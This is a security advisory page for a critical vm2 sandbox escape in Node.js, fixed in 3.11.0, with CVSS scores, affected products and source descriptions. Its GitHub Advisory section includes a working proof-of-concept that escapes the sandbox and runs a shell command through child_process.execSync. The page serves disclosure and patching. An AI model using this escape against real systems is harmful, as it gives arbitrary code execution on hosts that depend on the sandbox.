10.0critical
vm2: Sandbox Escape
- Severity
- 10.0critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.98% (higher than 63% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-47x8-96vw-5wg6
Description
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| patriksimek vm2 | < 3.11.0 | CVE List |
| ansible-automation-platform/automation-portal | Not specified Not affected: from 1785854226 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified | CVE List |
| vm2 (npm) | before 3.11.0 | GitHub Advisory Database |
| vm2_project vm2 | before 3.11.0 | NVD |
All scores
| GitHub_M | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| redhat-SADP | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Classification
What each source says
CVE List
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.
GitHub Advisory Database
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
NVD (es)
vm2 es un vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.0, es posible obtener el objeto host. Existen varias formas de usar el objeto host para escapar de la sandbox; un ejemplo sería usar HostObject.getOwnPropertySymbols para obtener Symbol(nodejs.util.inspect.custom). Esta vulnerabilidad está corregida en la versión 3.11.0.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-43997 changed 2026-09-07 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-47x8-96vw-5wg6 changed 2026-05-14 | CC-BY-4.0 |
| NVD | CVE-2026-43997 changed 2026-10-26 | Public domain |